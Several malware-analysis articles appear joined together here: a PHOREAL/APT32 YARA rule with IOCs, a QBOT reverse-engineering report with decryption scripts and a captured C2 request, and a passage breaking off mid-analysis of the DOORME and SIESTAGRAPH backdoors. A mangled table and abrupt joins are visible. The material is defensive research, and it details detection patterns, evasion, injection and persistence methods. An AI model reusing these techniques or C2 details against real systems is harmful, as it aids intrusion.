            33 00 46 00 35 00 33 00 2D 00 41 00 37 00 36 00 44 00 2D 00 34 00
            32 00 34 00 38 00 2D 00 39 00 36 00 39 00 41 00 2D 00 33 00 31 00
            37 00 34 00 30 00 43 00 42 00 43 00 38 00 41 00 44 00 36 00 7D 00 }

          \\  "{FD5F8447-657A-45C1-894B-D533926C9B66}.dll"  ascii
    $a3 = { 7B 46 44 35 46 38 34 34 37 2D 36 35 37 41 2D 34 35 43 31 2D 38 39
            34 42 2D 44 35 33 33 39 32 36 43 39 42 36 36 7D 2E 64 6C 6C }

          \\  PHOREAL start_address_bytes sequence
          \\  mov edi, edi; push ebp; mov ebp, esp; call 0x000043f0;
          \\  call 0x000043ea; push eax; call 0x000043d0; test eax, eax;
          \\  jnz 0x00000038; push dword ptr [ebp+0x08]
    $str_addr = { 8B FF 55 8B EC 56 E8 3F 3E 00 00 E8 34 3E 00 00 50 E8 14 3E
            00 00 85 C0 75 2A 8B 75 08 56 E8 21 }
condition:
    2 of them

This rule when deployed to the Elastic Agent will identify PHOREAL to customers and backstop prevention already provided through the shellcode_thread memory protection (in customer environments with memory protection turned on). In our case this rule’s deployment also enabled the collection of the malicious thread using the same mechanism detailed in our Collecting Cobalt Strike Beacons article.

Shortly after the new YARA artifact was deployed we had a new malware_signature alert in hand with the malicious thread captured from memory. Manual binary triage from our Malware Analysis and Reverse Engineering (MARE) Team quickly confirmed the sample was PHOREAL/RIZZO by comparing the structure and functions between our sample and past reporting. Further, they were able to extract an RC4 encrypted domain from an RCDATA resource as described in a 2018 CYLANCE OceanLotus whitepaper.

The domain identified by MARE (thelivemusicgroup[.]com) currently resolves to 103.75.117[.]250 which is owned by Oneprovider[.]com, a dedicated server hosting company based out of Canada with data centers distributed globally.

https://ipinfo.io/ query results for 103.75.117[.]250

{
  "ip": "103.75.117[.]250",
  "city": "Hong Kong",
  "region": "Central and Western",
  "country": "HK",
  "loc": "22.2783,114.1747",
  "org": "AS133752 Leaseweb Asia Pacific pte. ltd.",
  "timezone": "Asia/Hong_Kong",
  "asn": {
    "asn": "AS133752",
    "name": "Leaseweb Asia Pacific pte. ltd.",
    "domain": "leaseweb.com",
    "route": "103.75.117[.]0/24",
    "type": "hosting"
  },
  "company": {
    "name": "Oneprovider.com - Hong Kong Infrastructure",
    "domain": "oneprovider[.]com",
    "type": "hosting"
  },
  "privacy": {
    "vpn": false,
    "proxy": false,
    "tor": false,
    "relay": false,
    "hosting": true,
    "service": ""
  },
  "abuse": {
    "address": "1500 Ste-Rose LAVAL H7R 1S4 Laval Quebec, Canada",
    "country": "CA",
    "email": "info@oneprovider.com",
    "name": "ONE PROVIDER",
    "network": "103.75.117[.]0/24",
    "phone": "+1 514 286-0253"
  },
  "domains": {
    "ip": "103.75.117[.]250",
    "total": 2,
    "domains": [
      "thelivemusicgroup[.]com",
      "cdn-api-cn-1[.]com"
    ]
  }

Most of the interesting information about the domain is privacy guarded, but the “Updated” and “Created” dates in the below figure might be useful for bounding how long this domain has been used maliciously.

The Elastic Agent appears to have been deployed post-compromise which limited our ability to determine the vector of initial access. A 2017 Mandiant report indicates that PHOREAL may be deployed in an “establish foothold” capacity to allow for victim triage and follow-on post-exploitation tools.

Analysis

Elastic Security utilizes the Diamond Model to describe high-level relationships between the adversaries and victims of intrusions.

Adversary Assessment Justification

We assess with high confidence based on observed activity and previous reporting that REF4322 is APT32/OceanLotus and the actor behind this incident. APT32 has been active since 2014 notably targeting Southeast Asian governments and businesses or other international businesses with interests in Vietnam. APT32 is the only group currently identified as operating the PHOREAL backdoor, and our victim matches the geographic and industry vertical profile of typical and specific prior APT32 victims.

Conclusion

YARA Rules

We have created a YARA rule to identify this PHOREAL activity.

Yara rule to detect REF4322/APT32 in-memory backdoor PHOREAL/Rizzo

rule Windows_Trojan_PHOREAL {
    meta:
        Author = "Elastic Security"
        creation_date = "2022-02-16"
        last_modified = "2022-02-16"
        os = "Windows"
        arch = "x86"
        category_type = "Trojan"
        family = "PHOREAL"
        threat_name = "Windows.Trojan.PHOREAL"
        description = "Detects REF4322/APT32 in-memory backdoor PHOREAL/Rizzo."
        reference_sample = "88f073552b30462a00d1d612b1638b0508e4ef02c15cf46203998091f0aef4de"


    strings:
              \\  "\\.\pipe\{A06F176F-79F1-473E-AF44-9763E3CB34E5}"  ascii wide
        $a1 = { 5C 00 5C 00 2E 00 5C 00 70 00 69 00 70 00 65 00 5C 00 7B 00 41 00
                30 00 36 00 46 00 31 00 37 00 36 00 46 00 2D 00 37 00 39 00 46 00
                31 00 2D 00 34 00 37 00 33 00 45 00 2D 00 41 00 46 00 34 00 34 00
                2D 00 39 00 37 00 36 00 33 00 45 00 33 00 43 00 42 00 33 00 34 00
                45 00 35 00 7D 00 }

              \\  "Local\{5FBC3F53-A76D-4248-969A-31740CBC8AD6}"  ascii wide
        $a2 = { 4C 00 6F 00 63 00 61 00 6C 00 5C 00 7B 00 35 00 46 00 42 00 43 00
                33 00 46 00 35 00 33 00 2D 00 41 00 37 00 36 00 44 00 2D 00 34 00
                32 00 34 00 38 00 2D 00 39 00 36 00 39 00 41 00 2D 00 33 00 31 00
                37 00 34 00 30 00 43 00 42 00 43 00 38 00 41 00 44 00 36 00 7D 00 }

              \\  "{FD5F8447-657A-45C1-894B-D533926C9B66}.dll"  ascii
        $a3 = { 7B 46 44 35 46 38 34 34 37 2D 36 35 37 41 2D 34 35 43 31 2D 38 39
                34 42 2D 44 35 33 33 39 32 36 43 39 42 36 36 7D 2E 64 6C 6C }

              \\  PHOREAL start_address_bytes sequence
        $str_addr = { 8B FF 55 8B EC 56 E8 3F 3E 00 00 E8 34 3E 00 00 50 E8 14 3E
                00 00 85 C0 75 2A 8B 75 08 56 E8 21 }
    condition:
        2 of them
}

Defensive Recommendations

The following steps can be leveraged to improve a network’s protective posture:

1. Enable Elastic Security Memory Protection on Windows endpoints
2. Leverage the included YARA signatures above to determine if PHOREAL activity exists within your organization
3. Monitor or block network traffic to or from identified network IOCs and remediate impacted systems accordingly.

References

The following research was referenced throughout the document:

• https://github.com/CyberMonitor/APT_CyberCriminal_Campagin_Collections/blob/master/2018/2018.10.17.OceanLotus_SpyRATs/SpyRATsofOceanLotusMalwareWhitePaper.pdf
• https://www.mandiant.com/resources/cyber-espionage-apt32
• https://www.secureworks.com/research/threat-profiles/tin-woodlawn
• https://attack.mitre.org/software/S0158/
• https://attack.mitre.org/groups/G0050/

Observables

Artifacts

Artifacts are also available for download in both ECS and STIX format in a combined zip bundle.

• Elastic Security Labs is releasing a QBOT malware analysis report from a recent campaign
• This report covers the execution chain from initial infection to communication with its command and control containing details about in depth features such as its injection mechanism and dynamic persistence mechanism.
• From this research we produced a YARA rule, configuration-extractor, and indicators of compromises (IOCs)

Preamble

As part of our mission to build knowledge about the most common malware families targeting institutions and individuals, the Elastic Malware and Reverse Engineering team (MARE) completed the analysis of the core component of the banking trojan QBOT/QAKBOT V4 from a previously reported campaign.

QBOT — also known as QAKBOT — is a modular Trojan active since 2007 used to download and run binaries on a target machine. This document describes the in-depth reverse engineering of the QBOT V4 core components. It covers the execution flow of the binary from launch to communication with its command and control (C2).

QBOT is a multistage, multiprocess binary that has capabilities for evading detection, escalating privileges, configuring persistence, and communicating with C2 through a set of IP addresses. The C2 can update QBOT, upload new IP addresses, upload and run fileless binaries, and execute shell commands.

As a result of this analysis, MARE has produced a new yara rule based on the core component of QBOT as well as a static configuration extractor able to extract and decrypt its strings, its configuration, and its C2 IP address list.

For information on the QBOT configuration extractor and malware analysis, check out our blog posts detailing this:

• QBOT Configuration Extractor
• QBOT Attack Pattern

Execution flow

This section describes the QBOT execution flow in the following three stages:

• First Stage: Initialization
• Second Stage: Installation
• Third Stage: Communication

Stage 1

The sample is executed with the regsvr32.exe binary, which in turn will call QBOT’s DllRegisterServer export:

After execution, QBOT checks if it’s running under the Windows Defender sandbox by checking the existence of a specific subdirectory titled: C:\INTERNAL\__empty , if this folder exists, the malware terminates itself:

The malware will then enumerate running processes to detect any antivirus (AV) products on the machine. The image below contains a list of AV vendors QBOT reacts to:

AV detection will not prevent QBOT from running. However, it will change its behavior in later stages. In order to generate a seed for its pseudorandom number generator (PRNG), QBOT generates a fingerprint of the computer by using the following expression:

**fingerprint = CRC32(computerName + CVolumeSerialNumber + AccountName)**

If the “C:” volume doesn’t exist the expression below is used instead:

**fingerprint = CRC32(computerName + AccountName)**

Finally, QBOT will choose a set of targets to inject into depending on the AVs previously detected and the machine architecture:

| | | | -------------------------- | ------------------------------------------------------------------------------------------------------------- | ---------------------- | ----------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------ | ------------------------------------------------------------------------ | | AV detected & architecture | Targets | | BitDefender | Kaspersky | Sophos | TrendMicro | & x86 | %SystemRoot%\SysWOW64\mobsync.exe %SystemRoot%\SysWOW64\explorer.exe | | BitDefender | Kaspersky | Sophos | TrendMicro & x64 | %SystemRoot%\System32\mobsync.exe%SystemRoot%\explorer.exe%ProgramFiles%\Internet Explorer\iexplore.exe | | Avast | AVG | Windows Defender & x86 | %SystemRoot%\SysWOW64\OneDriveSetup.exe%SystemRoot%\SysWOW64\msra.exe%ProgramFiles(x86)%\Internet Explorer\iexplore.exe | | Avast | AVG | Windows Defender & x64 | %SystemRoot%\System32\OneDriveSetup.exe%SystemRoot%\System32\msra.exe | | x86 | '%SystemRoot%\explorer.exe%SystemRoot%\System32\msra.exe%SystemRoot%\System32\OneDriveSetup.exe | | x64 | %SystemRoot%\SysWOW64\explorer.exe%SystemRoot%\SysWOW64\msra.exe%SystemRoot%\System32\OneDriveSetup.exe |

QBOT will try to inject itself iteratively, using its second stage as an entry point, into one of its targets– choosing the next target process if the injection fails. Below is an example of QBOT injecting into explorer.exe.

Stage 2

QBOT begins its second stage by saving the content of its binary in memory and then corrupting the file on disk:

The malware then loads its configuration from one of its resource sections:

QBOT also has the capability to load its configuration from a .cfg file if available in the process root directory:

After loading its configuration, QBOT proceeds to install itself on the machine– initially by writing its internal configuration to the registry:

Shortly after, QBOT creates a persistence subdirectory with a randomly-generated name under the %APPDATA%\Microsoft directory. This folder is used to drop the in-memory QBOT binary for persistence across reboot:

At this point, the folder will be empty because the malware will only drop the binary if a shutdown/reboot event is detected. This “contingency” binary will be deleted after reboot.

QBOT will attempt the same install process for all users and try to either execute the malware within the user session if it exists, or create a value under the CurrentVersion\Run registry key for the targeted user to launch the malware at the next login. Our analysis didn’t manage to reproduce this behavior on an updated Windows 10 machine. The only artifact observed is the randomly generated persistence folder created under the user %APPDATA%\Microsoft directory:

QBOT finishes its second stage by restoring the content of its corrupted binary and registering a task via Schtask to launch a QBOT service under the NT AUTHORITY\SYSTEM account.

The first stage has a special execution path where it registers a service handler if the process is running under the SYSTEM account. The QBOT service then executes stages 2 and 3 as normal, corrupting the binary yet again and executing commands on behalf of other QBOT processes via messages received through a randomly generated named pipe:

Stage 3

QBOT begins its third stage by registering a window and console event handler to monitor suspend/resume and shutdown/reboot events. Monitoring these events enables the malware to install persistence dynamically by dropping a copy of the QBOT binary in the persistence folder and creating a value under the CurrentVersion\Run registry key:

At reboot, QBOT will take care of deleting any persistence artifacts.

The malware will proceed to creating a watchdog thread to monitor running processes against a hardcoded list of binaries every second. If any process matches, a registry value is set that will then change QBOT behavior to use randomly generated IP addresses instead of the real one, thus never reaching its command and control:

QBOT will then load its domains from one of its .rsrc files and from the registry as every domain update received from its C2 will be part of its configuration written to the registry. See Extracted Network Infrastructure in Appendix A.

Finally, the malware starts communicating with C2 via HTTP and TLS. The underlying protocol uses a JSON object encapsulated within an enciphered message which is then base64-encoded:

Below an example of a HTTP POST request sent by QBOT to its C2:

Accept: application/x-shockwave-flash, image/gif, image/jpeg, image/pjpeg, */*
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: 181.118.183.98
Content-Length: 77
Cache-Control: no-cache

qxlbjrbj=NnySaFAKLt+YgjH3UET8U6AUwT9Lg51z6zC+ufeAjt4amZAXkIyDup74MImUA4do4Q==

Through this communication channel, QBOT receives commands from C2 — see Appendix B (Command Handlers). Aside from management commands (update, configuration knobs), our sample only handles binary execution-related commands, but we know that the malware is modular and can be built with additional features like a VNC server, a reverse shell server, proxy support (to be part of the domains list), and numerous other capabilities are feasible.

Features

Mersenne Twister Random Number Generator

QBOT uses an implementation of Mersenne Twister Random Number Generator (MTRNG) to generate random values:

The MTRNG engine is then used by various functions to generate different types of data, for example for generating registry key values and persistence folders. As QBOT needs to reproduce values, it will almost always use the computer fingerprint and a “salt” specific to the value it wants to generate:

String obfuscation

All QBOT strings are XOR-encrypted and concatenated in a single blob we call a “string bank”. To get a specific string the malware needs a string identifier (identifier being an offset in the string bank), a decryption key, and the targeted string bank.

As this sample has two string banks, it has four GetString' functions currying the string bank and the decryption key parameters: One C string function and one wide string function for each string bank. Wide string functions use the same string banks, but convert the data to utf-16.

See Appendix C (String Deciphering Implementation).

Import obfuscation

QBOT resolves its imports using a hash table:

The malware resolves the library name through its GetString function and then resolves the hash table with a classic library’s exports via manual parsing, comparing each export to the expected hash. In this sample, the hashing comparison algorithm use this formula:

**CRC32(exportName) XOR 0x218fe95b == hash**

Resource obfuscation

The malware is embedded with different resources, the common ones are the configuration and the domains list. Resources are encrypted the same way: The decryption key may be either embedded within the data blob or provided. Once the resource is decrypted, an embedded hash is used to check data validity.

See Appendix D (Resource Deciphering Implementation).

Cyrillic keyboard language detection

At different stages, QBOT will check if the computer uses a Cyrillic language keyboard. If it does, it prevents further execution.

AVG/AVAST special behavior

AVG and Avast share the same antivirus engine. Thus if QBOT detects one of those antivirus running, it will also check at the installation stage if one of their DLLs is loaded within the malware memory space. If so, QBOT will skip the installation phase.

Windows Defender special behavior

If QBOT is running under SYSTEM account, it will add its persistence folder to the Windows Defender exclusion path in the registry. It will also do this for the legacy Microsoft Security Essential (MSE) exclusion path if detected.

Exception list process watchdog

Each second, QBOT parses running processes looking for one matching the hardcoded exception list. If any is found, a “fuse” value is set in the registry and the watchdog stops. If this fuse value is set, QBOT will not stop execution– but at the third stage, the malware will use randomly generated IP and won't be able to contact C2.

![QBOT using randomly generated IP address if fuse is set]/assets/images/qbot-malware-analysis/1qbot.png)

QBOT process injection

Second stage injection

To inject its second stage into one of a hardcoded target, QBOT uses a classic CreateProcess , WriteProcessMemory , ResumeProcess DLL injection technique. The malware will create a process, allocate and write the QBOT binary within the process memory, write a copy of its engine, and patch the entry point to jump to a special function. This function performs a light initialization of QBOT and its engine within the new process environment, alerts the main process of its success, and then execute the second stage.

![QBOT second stage injection]/assets/images/qbot-malware-analysis/2qbot.png)

![QBOT injection entry point]/assets/images/qbot-malware-analysis/3qbot.jpg)

Injecting library from command and control

QBOT uses the aforementioned method to inject libraries received from C2. The difference is that as well as mapping itself, the malware will also map the received binary and use a library loader as entry point.

![QBOT DLL loader injection]/assets/images/qbot-malware-analysis/4qbot.jpg)

Multi-user installation

Part of the QBOT installation process is installing itself within others users’ accounts. To do so, the malware enumerates each user with an account on the machine (local and domain), then dumps its configuration under the user’s Software\Microsoft registry key, creates a persistence folder under the users’ %APPDATA%\Microsoft folder, and finally tries to either launch QBOT under the user session if the session exist, or else creates a run key to launch the malware when the user will log in.

Dynamic persistence

QBOT registers a window handler to monitor suspend/resume events. When they occur, the malware will install/uninstall persistence.

![QBOT window handler registration]/assets/images/qbot-malware-analysis/7qbot.png)

![QBOT window handler catching suspend/resume event]/assets/images/qbot-malware-analysis/8qbot.png)

QBOT registers a console event to handle shutdown/reboot events as well.

Command and control public key pinning

QBOT has a mechanism to verify the signature of every message received from its command and control. The verification mechanism is based on a public key embedded in the sample. This public key could be used to identify the campaign the sample belongs to, but this mechanism may not always be present.

![QBOT command and control message processing]/assets/images/qbot-malware-analysis/1qbot.png)

![Message signature verification with hardcoded command and control public key]/assets/images/qbot-malware-analysis/2qbot.png)

The public key comes from a hardcoded XOR-encrypted data blob.

![Hardcoded command and control public key being XOR-decrypted]/assets/images/qbot-malware-analysis/3qbot.jpg)

Computer information gathering

Part of QBOT communication with its command and control is sending information about the computer. Information are gathered through a set Windows API calls, shell commands and Windows Management Instrumentation (WMI) commands:

![Computer information gathering 1/2]/assets/images/qbot-malware-analysis/4qbot.jpg)

One especially interesting procedure listed installed antivirus via WMI:

Update mechanism

QBOT can receive updates from its command and control. The new binary will be written to disk, executed through a command line, and the main process will terminate.

![QBOT writing to disk and running the updated binary]/assets/images/qbot-malware-analysis/7qbot.png)

![QBOT stopping execution if update is running]/assets/images/qbot-malware-analysis/8qbot.png)

Process injection manager

QBOT has a system to keep track of processes injected with binaries received from its command and control in order to manage them as the malware receives subsequent commands. It also has a way to serialize and save those binaries on disk in case it has to stop execution and recover execution when restarted.

To do this bookkeeping, QBOT maintains two global structures — a list of all binaries received from its command and control, and a list of running injected processes:

Conclusion

The QBOT malware family is highly active and still part of the threat landscape in 2022 due to its features and its powerful modular system. While initially characterized as an information stealer in 2007, this family has been leveraged as a delivery mechanism for additional malware and post-compromise activity.

Elastic Security provides out-of-the-box prevention capabilities against this threat. Existing Elastic Security users can access these capabilities within the product. If you’re new to Elastic Security, take a look at our Quick Start guides (bite-sized training videos to get you started quickly) or our free fundamentals training courses. You can always get started with a free 14-day trial of Elastic Cloud.

MITRE ATT&CK Tactics and Techniques

MITRE ATT&CK is a globally-accessible knowledge base of adversary tactics and techniques based on real-world observations. The ATT&CK knowledge base is used as a foundation for the development of specific threat models and methodologies in the private sector, in government, and in the cybersecurity product and service community.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

• Tactic: Privilege Escalation
• Tactic: Defense Evasion
• Tactic: Discovery
• Tactic: Command and Control

Techniques / Sub Techniques

Techniques and Sub techniques represent how an adversary achieves a tactical goal by performing an action.

• Technique: Process Injection (T1055)
• Technique: Modify Registry (T1112)
• Technique: Obfuscated Files or Information (T1027)
• Technique: Obfuscated Files or Information: Indicator Removal from Tools (T1027.005)
• Technique: System Binary Proxy Execution: Regsvr32 (T1218.010)
  Technique: Application Window Discovery (T1010)
• Technique: File and Directory Discovery (T1083)
• Technique: System Information Discovery (T1082)
• Technique: System Location Discovery (T1614)
• Technique: Software Discovery: Security Software Discovery (T1518.001)
• Technique: System Owner/User Discovery (T1033)
• Technique: Application Layer Protocol: Web Protocols (T1071.001)

Observations

While not specific enough to be considered indicators of compromise, the following information was observed during analysis that can help when investigating suspicious events.

File System

Persistence folder

**%APPDATA%\Microsoft\[Random Folder]**

Example:

**C:\Users\Arx\AppData\Roaming\Microsoft\Vuhys**

Registry

Scan Exclusion

**HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\[Persistence Folder]**

Example:

**HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Arx\AppData\Roaming\Microsoft\Blqgeaf**

Configuration

Configuration

**HKU\[User SID]\Software\Microsoft\[Random Key]\[Random Value 0]**

Example:

**HKU\S-1-5-21-2844492762-1358964462-3296191067-1000\Software\Microsoft\Silhmfua\28e2a7e8**

Appendices

Appendix A (extracted network infrastructure)

Appendix B (command handlers)

Appendix C (string deciphering implementation)

def decipher_strings(data: bytes, key: bytes) -> bytes:
   result = dict()
   current_index = 0
   current_string = list()
   for i in range(len(data)):
       current_string.append(data[i] ^ key[i % len(key)])
       if data[i] == key[i % len(key)]:
              result[current_index] = bytes(current_string)
              current_string = list()
              current_index = i + 1
   return result

Appendix D (resource deciphering implementation)

from Crypto.Cipher import ARC4
from Crypto.Hash import SHA1

def decipher_data(data: bytes, key: bytes) -> tuple[bytes, bytes]:
   data = ARC4.ARC4Cipher(SHA1.SHA1Hash(key).digest()).decrypt(data)
   return data[20:], data[:20]


def verify_hash(data: bytes, expected_hash: bytes) -> bool:
   return SHA1.SHA1Hash(data).digest() == expected_hash


def decipher_rsrc(rsrc: bytes, key: bytes) -> bytes:
   deciphered_rsrc, expected_hash = decipher_data(rsrc[20:], rsrc[:20])
   if not verify_hash(deciphered_rsrc, expected_hash):
       deciphered_rsrc, expected_hash = decipher_data(rsrc, key)
       if not verify_hash(deciphered_rsrc, expected_hash):
              raise RuntimeError('Failed to decipher rsrc: Mismatching hashes.')
   return deciphered_rsrc

• DOORME is a malicious IIS module that provides remote access to a contested network.
• SIESTAGRAPH interacts with Microsoft’s GraphAPI for command and control using Outlook and OneDrive.
• SHADOWPAD is a backdoor that has been used in multiple campaigns attributed to a regional threat group with non-monetary motivations.
• REF2924 analytic update incorporating third-party and previously undisclosed incidents linking the REF2924 adversary to Winnti Group and ChamelGang along technical, tactical, and victim targeting lines.

Preamble

This research highlights the capabilities and observations of the two backdoors, named "DOORME" and "SIESTAGRAPH", and a backdoor called “SHADOWPAD” that was disclosed by Elastic in December of 2022. DOORME is an IIS (Internet Information Services) backdoor module, which is deployed to web servers running the IIS software. SIESTAGRAPH is a .NET backdoor that leverages the Microsoft Graph interface, a collection of APIs for accessing various Microsoft services. SHADOWPAD is an actively developed and maintained modular remote access toolkit.

DOORME, SIESTAGRAPH, and SHADOWPAD each implement different functions that can be used to gain and maintain unauthorized access to an environment. The exact details of these functionalities will be described in further detail in this research publication. It is important to note that these backdoors can be used to steal sensitive information, disrupt operations, and gain a persistent presence in a victim environment.

Additionally, we will discuss the relationships between REF2924 and three other intrusions carried out by the same threat group, intrusion set, or both. These associations are made using first-party observations and third-party reporting. They have allowed us to state with moderate confidence that SIESTAGRAPH, DOORME, SHADOWPAD, and other elements of REF2924 are attributed to a regional threat group with non-monetary motivations.

Additional information on the REF2924 intrusion setFor additional information on this intrusion set, which includes our initial disclosure as well as information into the campaign targeting the Foreign Ministry of an ASEAN member state, check out our previous research into REF2924.

DOORME code analysis

Introduction to backdoored IIS modules

IIS, developed by Microsoft, is an extensible web server software suite that serves as a platform for hosting websites and server-side applications within the Windows environment. With version 7.0, Microsoft has equipped IIS with a modular architecture that allows for the dynamic inclusion or exclusion of modules to suit various functional requirements. These modules correspond to specific features that the server can utilize to handle incoming requests.

As an example, a backdoored module that overrides the OnGlobalPreBeginRequestevent can be used to perform various malicious activities - such as capturing sensitive user information submitted to webpages, injecting malicious code into content served to visitors, or providing the attacker remote access to the web server. It is possible that a malicious module could intercept and modify a request before it is passed on to the server, adding an HTTP header or query string parameter that includes malicious code. When the server processes that modified request, the malicious code might be executed, allowing the attacker to gain unauthorized access or control the server and its resources.

Adding to the danger of IIS backdoors is that they can be stealthy and organizations may not be aware that they have been compromised. Many companies do not have the resources or expertise to regularly monitor and test their IIS modules for vulnerabilities and malicious code, which can make it difficult to detect and remediate backdoors. To mitigate these risks, organizations should maintain a comprehensive inventory of all IIS modules and implement network and endpoint protection solutions to help detect and respond to malicious activities. Elastic Security Labs has seen increased use of this persistence mechanism coupled with defense evasions, which may disproportionately impact those hosting on-premises servers running IIS.

Introduction to the DOORME IIS module

DOORME is a native backdoor module that is loaded into a victim's IIS infrastructure and used to provide remote access to the target infrastructure. We first discussed the DOORME sample that we observed targeting the Foreign Ministry of an ASEAN member nation in December of 2022.

DOORME uses the RegisterModule function, which is an export of a malicious C++ DLL module and is responsible for loading the module and setting up event handler methods. It also dynamically resolves API libraries that will be used later. The main functionality of the backdoor is implemented in the CGlobalModuleclass and its event handler, OnGlobalPreBeginRequest. This event handler is overridden by DOORME, allowing it to be loaded before a web request enters the IIS pipeline. The core functions of the backdoor (including cookie validation, parsing commands, and calling underlying command functions) are all located within this event handler. DOORME uses multiple obfuscation methods, an authentication mechanism, AES encryption implementation, and a purpose-built series of commands.

This diagram illustrates the contrast between an attacker attempting to connect to a backdoored IIS server and a legitimate user simply trying to access a webpage.

Obfuscation

String obfuscation

DOORME XOR-encrypts strings to evade detection. These encrypted strings are then stored on the memory stack. As the original plaintext is obscured this string obfuscation makes it more difficult for security software or researchers to understand the purpose or meaning of the strings. The malware uses the first byte of every encrypted blob to XOR-decrypt the strings.

Anti-disassembly technique

The malware employs a technique that can cause disassemblers to incorrectly split functions in the code, which leads to the generation of incorrect assembly graphs. This technique can make it more challenging for analysts to understand the malware's behavior and create an effective defense against it.

Control flow obfuscation

The malware in question also employs a technique known as Control Flow Obfuscation (CFO) to complicate the analysis of its behavior. CFO is a technique where the flow of instructions in the code is deliberately manipulated to make it more difficult for security software and researchers to understand the malware's functionality.

The malware uses CFO to complicate the analysis process, but it is noteworthy that this technique is not applied to the entire codebase. From an analysis point of view, this tells us that these strings are of particular importance to the malware author - possibly to frustrate specific security tooling. The following example serves as a demonstration of how the malware uses CFO to conceal its functionality in the context of stack string XOR decryption.

Dynamic import table resolution obfuscation

Dynamic import table resolution is a technique used by malicious software to evade detection by security software. It involves resolving the names of the Windows APIs that the malware needs to function at runtime, rather than hard coding the addresses of these APIs in the malware's import table.

DOORME first resolves the address of LoadLibraryA and GetProcAddress Windows API by parsing the kernel32.dll module export table, then uses the GetProcAddress function to locate the desired APIs within the modules by specifying the name of the API and the name of the DLL module that contains it.

Execution flow

Authentication

The malicious IIS module backdoor operates by looking for the string " 79cfdd0e92b120faadd7eb253eb800d0" (the MD5 hash sum of a profane string), in a specific cookie of the incoming HTTP requests, when found it will parse the rest of the request.

GET request handling

GET requests are used to perform a status check: the malware returns the string “ It works!” followed by the username and the hostname of the infected machine. This serves as a means for the malware to confirm its presence on an infected machine.

POST requests handling

The backdoor operator sends commands to the malware through HTTP POST requests as data which is doubly encrypted. Commands are AES-encrypted and then Base64 encoded, which the DOORME backdoor then decrypts.

Base64 implementation

The malware's implementation of Base64 uses a different index table compared to the default Base64 encoding RFC. The specific index table used by the malware is "VZkW6UKaPY8JR0bnMmzI4ugtCxsX2ejiE5q/9OH3vhfw1D+lQopdABTLrcNFGSy7" , while the normal index table used by the Base64 algorithm is "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/". This deviation from the standard index table makes it more difficult to decode the encoded data and highlights additional custom obfuscation techniques by the DOORME malware author in an attempt to frustrate analysis.

AES algorithm implementation

The malware uses AES (Advanced Encryption Standard) in CBC (Cipher Block Chaining) mode to encrypt and decrypt data. It uses the MD5 hash of the first 16 bytes of the authentication hash " 79cfdd0e92b120faadd7eb253eb800d0", as the AES key. The initialization vector (IV) of the algorithm is the MD5 hash of the AES key.

In our case the AES key is “ 5a430ab45c7e142c70018b99fe0d2da3” and the AES IV is “ 57ce15b304a97772”.

Command handling table

The backdoor is capable of executing four different commands, each with its own set of parameters. To specify which command to run and pass the necessary parameters, the operators of the backdoor use a specific syntax. The command ID and its parameters are separated by the "pipe" symbol( | ).

Command ID 0x42

The first command implemented has the ID 0x42 and generates a Globally Unique Identifier (GUID) by calling the API CoCreateGuid. Used to identify the infected machine, this helps to track infected machines and allows the attacker to focus on specific high-value environments.

Command ID 0x43

Another command, ID 0x43 , is particularly noteworthy as it allows the attacker to execute shellcode in the memory of the same process. This functionality is achieved by utilizing the Windows native functions NtAllocateVirtualMemory and NtCreateThreadEx.

The NtAllocateVirtualMemory function is used to allocate memory in the same process for shellcode, while the NtCreateThreadEx function creates an execution thread with shellcode in that newly-allocated memory.

Command ID 0x63

Command ID 0x63 allows the attacker to send a blob of shellcode in chunks, which the malware reassembles to execute. It works by sending this command ID with a shellcode chunk as a parameter. Implants can detect that the shellcode has been fully received when the server communicates a different shellcode size than expected. This approach allows the malware to handle large shellcode objects with minimal validation.

Command ID 0x44

Command ID 0x44 provides a means of interacting with the shellcode being executed on the infected system. The attacker can send input to the shellcode and retrieve its output via a named pipe. This allows the attacker to control the execution of the shellcode and receive feedback, which may help to capture the output of tools deployed in the environment via the DOORME implant.

DOORME Summary

In summary, DOORME provides a dangerous capability allowing attackers to gain unauthorized access to the internal network of victims through an internet-facing IIS web server. It includes multiple obfuscation techniques to evade detection, as well as the ability to execute additional malware and tools. Malware authors are increasingly leveraging IIS as covert backdoors that hide deep within the system. To protect against these threats, it is important to continuously monitor IIS servers for any suspicious activity, processes spawned from the IIS worker process ( w3wp.exe ), and the creation of new executables.

SIESTAGRAPH code analysis

Introduction to the SIESTAGRAPH implant

The implant utilizes the Microsoft Graph API to access Microsoft 365 Mail and OneDrive for its C2 communication. It uses a predetermined tenant identifier and a refresh token to obtain access tokens. The implant uses the legitimate OneDriveAPI library which simplifies the process of interacting with the Microsoft API and allows for efficient management of access and refresh tokens. The implant leverages sleep timers in multiple locations as a defense evasion technique. This led to the implant’s name: SIESTAGRAPH.

Execution flow

SIESTAGRAPH starts and enters its main function which will set up the needed parameters to access Microsoft GraphAPI by requesting an access token based on a hard coded refresh token.

![Initial setup of SIESTAGRAPH](/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image26.jpg

During the setup phase the malware uses the Microsoft Office GUID ( d3590ed6-52b3-4102-aeff-aad2292ab01c ). This is needed to supply access to both Microsoft 365 Mail and OneDrive.

Authentication

The SIESTAGRAPH author utilized a pre-determined tenant identifier and a refresh token to obtain access tokens. Both of these elements are essential in making a request for an access token. It is important to note that access tokens possess a limited lifespan, however, the refresh token can be utilized to request new access tokens as necessary.

To facilitate this process, the attacker utilized a third-party and legitimate library named OneDriveAPI. This library simplifies the process of interacting with the Microsoft API and allows for efficient management of access and refresh tokens. It should be noted that although third-party libraries such as OneDriveAPI can provide a convenient way to interact with APIs, they should not be considered to be malicious.

The malware utilizes the GetAccessTokenFromRefreshToken method to request an authentication token. This token is then used in all subsequent API requests.

